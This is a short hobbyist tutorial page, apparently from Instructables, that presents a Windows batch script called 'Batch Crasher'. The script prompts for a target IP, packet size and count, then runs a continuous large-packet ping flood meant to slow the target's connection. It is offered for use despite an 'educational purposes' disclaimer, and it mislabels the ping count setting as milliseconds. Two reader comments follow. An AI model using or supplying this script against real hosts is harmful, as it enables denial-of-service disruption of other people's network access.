Introduction: Batch 'Crasher'

This is my first tutorial, so I'm not even sure I put this in the right place, play nice please.

Step 1: Step 1

Note: If you actually plan on using this, know that you would have to have a extremly wide bandwidth for optimal settings and the most that you are going to get out of this is slowing down the target's connection if they have a average connection.

Note2: This is intended for educational purposes & testing only although I'm sure that someone will continuosly 'test' i

Final Note: You must SAVE AS a .bat file e.i. namehere.bat

--Code Start--
@echo off
title Crasher
cls
:main
cls
set IP=
cls
echo.
echo.
echo.
echo    Enter IP
echo.
set /p IP=" >"
cls
:cnfrm
cls
echo.
echo.
echo.
echo    Confirm IP  (Y/N)
echo.
echo       %IP%
echo.
set /p cho=" >"
if %cho%==y goto settings
if %cho%==Y goto settings
if %cho%==n goto main
if %cho%==N goto main
echo Invalid entry: %cho%
pause
goto cnfrm
:Y
cls
echo.
echo.
echo  You will have to close this window to stop once it starts.
echo.
pause
title Crashing...
ping %IP% -t -l %setting1% -n %setting2%
:settings
cls
echo.
echo.
echo.
echo How many bytes of data per ping (0-65500)
set /p setting1=">"
echo.
echo How many millisecond before next ping (1-UNLIMITED)
set /p setting2=">"
cls
echo.
echo.
echo.
echo Confirm settings   (Y/N)
echo.
echo  Bytes/Ping = %setting1%
echo  milliseconds/Ping = %setting2%
set /p sttngcnfrm=">"
if %sttngcnfrm%==y goto Y
if %sttngcnfrm%==Y goto Y
if %sttngcnfrm%==n goto settings
if %sttngcnfrm%==N goto settings
set %setting1%=
set %setting2%=
echo Invalid entry: %sttngcnfrm%
echo.
pause
goto settings
--Code End--

Comments

author
ATI4890HD made it!(author)2012-11-15

can You describe what will hppn after running the batch program?? Slowing means..??

author
Prof.+Pickle made it!(author)2012-09-19

Hello, I couldn't help notice that in the "topish" section you have incorrect grammar . In the section where you have "if they have a average...". You were supposed to type in "if they have AN average..." (Leave out the capitalization).

Other than that, nice instructable and I look forward to browsing many more to come.

About This Instructable

1,225views

8favorites

License:

Bio: I like batch.
More by Allurisk:Batch 'Crasher'
Add instructable to: